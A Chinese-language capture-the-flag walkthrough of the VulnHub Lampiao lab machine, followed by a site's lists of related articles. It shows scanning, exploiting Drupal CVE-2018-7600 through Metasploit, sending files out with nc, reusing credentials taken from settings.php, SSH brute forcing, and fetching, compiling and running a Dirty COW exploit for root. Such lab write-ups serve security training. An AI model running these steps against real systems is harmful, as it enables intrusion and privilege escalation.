vulnhub|渗透测试lampiao

题记

最近在打靶机,发现了一个挺有意思的靶机,这里想跟大家分享一下.

环境准备

vulnhub最近出的一台靶机

靶机(https://www.vulnhub.com/entry/lampiao-1,249/)Lampiao.zip (Size: 669 MB)

Download: https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM

(https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM)

Download (Mirror): https://download.vulnhub.com/lampiao/Lampiao.zip

(https://download.vulnhub.com/lampiao/Lampiao.zip)

Download (Torrent): https://download.vulnhub.com/lampiao/Lampiao.zip.torrent ( Magnet)

(https://download.vulnhub.com/lampiao/Lampiao.zip.torrent)

攻击机 Kali IP 10.10.10.128

靶机在同一C段下 IP 10.10.10.129

主机发现

使用命令 nmap -sP 192.168.107.1/24

起始Ip 10.10.10.1,攻击机的ip是10.10.10.128,而10.10.10.254是结束ip。因为环境配置为dhcp动态分布,所以说我们的靶机ip就

是10.10.10.129

端口扫描

我们需要知道目标机器上开了哪些端口,运行了哪些服务,利用某些服务的漏洞来进行攻击,所以我们先进行端口扫描。

之前用nmap -sS 只扫出来个22端口,于是尝试ssh弱口令爆破,未果,

利用题目信息生成字典,未果,访问网站,发现如下是个静态页面什么也没有。文件头,源代码中无有效信息。

后来反应过来,有可能网站还有其它端口可以访问,因为-sS参数是扫描常用的1000以内的端口号。于是用-p-参数: nmap -p- 10.1

0.10.129

扫出1898端口,于是访问,发现是个web服务端口:

大致对网站浏览下,查找下功能点。主要是进行信息收集

目录扫描

信息收集中非常重要的一步。这里我使用御剑扫描,可以看到,扫出来了robots.txt

于是访问robots.txt

发现敏感文件/CHANGELOG.txt,一个记录更新的日志,访问发现是Drupal为框架的网站,最近一次更新为7.54

获取会话

其它目录暂无发现有用信息,搜集到大致的敏感信息后于是搜索其对应的漏洞利用,推荐使用msf,非常全面,而且方便,使用前记

得 msfdb start 启动其连接的数据库,这样查找速度会很快

ps(kali默认是2.0版本也就是16年的,建议搜索前保证kali是最新版,漏洞才更全。现在用的是rolling更新源了。其他的源的话更新会报

错。kali rolling修改更新源(https://blog.csdn.net/xuqi7/article/details/71430349)

msf启动后,search drupal搜索其存在的对应漏洞,发现如下。

使用2018年这个漏洞。Drupal 在3月28日爆出的一个远程代码执行漏洞,CVE编号CVE-2018-7600。分析及 PoC 构造:

推荐连接(https://paper.seebug.org/567/)

我们直接利用,设置好目标主机10.10.10.129,目标端口号1898,查看以及设置目标操作系统类型,然后run执行,可以看到获取到了一个会话

执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用 python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下: python -c 'import pty; pty.spawn("/bin/bas

h")'

寻找突破口

果不其然是www-data用户,说明需要提权,ls -al查看网站根目录有些什么东西发现有几个东西不是网站根目录应该有的,所以应该可以获得什么重要信息,所以把这些文件传输到攻击机上一一查看

  1. 先在攻击机上使用命令 nc =-lvp 1234>接受的文件名 准备接收文件
  2. 在靶机使用 nc -w 3 10.10.10.12<要传输的文件名 传输文件

在攻击机中打开,audio.m4a,lampiao.jpg,LuizGonzaga-LampiaoFalou.mp3,qrc.png如下发现

  1. qrc.png:一个二维码,扫出来的结果是 Try harger! muahuahuahua,被作者鼓励了。。
  2. audio.m4a:提示为user tiago,说明要先找到用户tiago的密码
  3. uizGonzaga-LampiaoFalou.mp3:一首音乐,丢入隐写工具没发现什么异常
  4. lampiao.jpg:一张牛仔的图片,丢入binwlak中未发现有什么隐写

继续翻目录,找文件,在var/www/html/sites/default目录下找到配置文件settings.php,发现敏感信息,tiago以及密码,很有可能就是其系统用户tiago的密码

获取普通用户权限

尝试登陆tiago用户,发现成功了。获取tiago用户的权限,根据提示及题目背景,发现tiago和lampiao很有些关系,那首音乐又提示说tiago。

然后试了试mysql数据库root的密码,结果密码也是tiago的登陆密码,成功获取Mysql数据库的root权限。我想tiago的提示也许就是这个意思吧

在Mysql数据库中发现有drupal数据库,网站所有用户的信息就在这里了。这应该就是tiago这个用户最大的用处了吧,

尝试爆破root密码

获得普通用户的权限后,接下来的一步就是提权到最高的root权限了。通过前面收集的所有信息生成社工字典,ssh爆破,未成功,

使用cewl

一个通过爬取网站上关键信息生成字典的一个神器,命令 cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt ,爆破ssh未果

内核提权:

uname -a 查看当前内核版本:

这里需要去网上搜适合的exp了。推荐使用kali自带的searchsploit

,非常全面,方便,当然也可以去网上搜,

这里我们利用的是CVE-2016-5195:脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 ,黑客通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统

意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为 ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞

使用wget命令,下载提权exp到靶机: wget https://www.exploit-db.com/download/40847.cpp

c++格式的文件,先编译,编译命令 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

  1. -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
  2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
  3. -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
  4. -std=c++11就是用按C++2011标准来编译的
  5. -pthread 在Linux中要用到多线程时,需要链接pthread库
  6. -o dcow gcc生成的目标文件,名字为dcow

./dcow -s  执行。提权成功

目标机上如果没有编译环境,这时候,我们可以本地搭建和目标机一样的环境,在本地编译好提权exp后,在目标机器上运行即可

Get flag

flag肯定在root目录下。所以cd到root然后看到flag.txt ,cat查看一下。得到flag,通关。

记一次 lampiao渗透(Drupal+脏牛提权)的更多相关文章

  1. 对vulnhub靶机lampiao的getshell到脏牛提权获取flag

    前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...

  2. vulnhub-Lampiao脏牛提权

    准备工作 在vulnhub官网下载lampiao靶机Lampião: 1 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收 ...

  3. 脏牛提权CVE-2016-5195

    gcc -pthread dirtyc0w.c -o dirtyc0w 尝试使用gcc -pthread dirtyc0w.c -o dirtyc0w 编译该POC文件 gcc命令是一个编译器套件,可 ...

  4. 【渗透测试】Msf提权步骤

    1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...

  5. 9.CVE-2016-5195(脏牛)内核提权漏洞分析

    漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...

  6. Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub

    个人博客阅读体验更佳 本次来试玩一下vulnhub上的Billu_b0x2,下载地址. 下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题.靶场推荐使用N ...

  7. Lampiao(dirtycow)脏牛漏洞复现

    nmap扫描内网80端口发现目标主机 nmap -sP   -p 80 192.168.31.0/24 扫描发现目标主机开放22端口.并且  1898端口开放http服务 御剑扫描目录并访问之后发现存 ...

  8. 漏洞预警:Linux内核9年高龄的“脏牛”0day漏洞

    这个名叫Dirty COW,也就是脏牛的漏洞,存在Linux内核中已经有长达9年的时间,也就说2007年发布的Linux内核版本中就已经存在此漏洞.Linux kernel团队已经对此进行了修复. 漏 ...

  9. Linux提权—脏牛漏洞(CVE-2016-5195)

    目录 脏牛漏洞 exp1复现: exp2复现: 脏牛漏洞 脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞.Linux ...

随机推荐

  1. Soul API 网关源码解析 02

    如何读开源项目:对着文档跑demo,对着demo看代码,懂一点就开始试,有问题了问社区. 今日目标: 1.运行examples下面的 http服务 2.学习文档,结合divde插件,发起http请求s ...

  2. 解决 minicom 不能接收键盘输入问题

    今天突然minicom 不能接受键盘输入了.早上的时候在其他设备上不能识别usb转串口的设备,重新启动电脑后,恢复正常了.下午又出现minicom 不接收键盘输入. 百度了一下解决了. 解决方法 由于 ...

  3. 树莓派zero 使用usb串口连接

    使用minicom连接bash$ lsusbBus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hubBus 001 Device 0 ...

  4. NodeJS入门学习教程

    一.概念 1.什么是nodejs Node.js是JavaScript 运行时环境,通俗易懂的讲,Node.js是JavaScript的运行平台 Node.js既不是语言,也不是框架,它是一个平台 2 ...

  5. python 中excel表格的操作【转载】

    传说中python操作ms office功能最强大的是win32com,但只能要ms上使用. 不过对于比较简单的需求显得有些小题大作.那么来看下简单的,分别是xlrd和xlwt模块, 不过暂时只支持e ...

  6. 最短路-朴素版Dijkstra算法&堆优化版的Dijkstra

    朴素版Dijkstra 目标 找到从一个点到其他点的最短距离 思路 ①初始化距离dist数组,将起点dist距离设为0,其他点的距离设为无穷(就是很大的值) ②for循环遍历n次,每层循环里找出不在S ...

  7. Spring Cloud,Docker书籍资源、优秀博文等记录

    Spring Cloud,Docker书籍资源.优秀博文等记录 Spring Cloud,Docker书籍资源.优秀博文等记录 一.书籍 二.博文地址 三.思维导图Or图片 3.1一张图总结 Dock ...

  8. (14)Linux绝对路径和相对路径

    Linux 系统中,文件是存放在目录中的,而目录又可以存放在其他的目录中,因此,用户(或程序)可以借助文件名和目录名,从文件树中的任何地方开始,搜寻并定位所需的目录或文件. 说明目录或文件名位置的方法 ...

  9. IP路由__IP路由选择过程

    1.主机A上的某个用户ping主机B的IP地址 1.主机A的因特网控制报文协议(ICMP)将创建一个回应请求数据包(在它的数据域中只包含有字母). 2. ICMP将把这个有效负荷交给因特网协议(IP) ...

  10. Dotnet的局部函数和委托的对比

    上一篇说了一下委托,这篇来说说局部函数和委托的对比.   把委托和局部函数放成前后篇,是因为这两个内容很像,用起来容易混. 需要了解委托相关内容,可以看这一篇 [传送门]   使用委托表达式(Lamb ...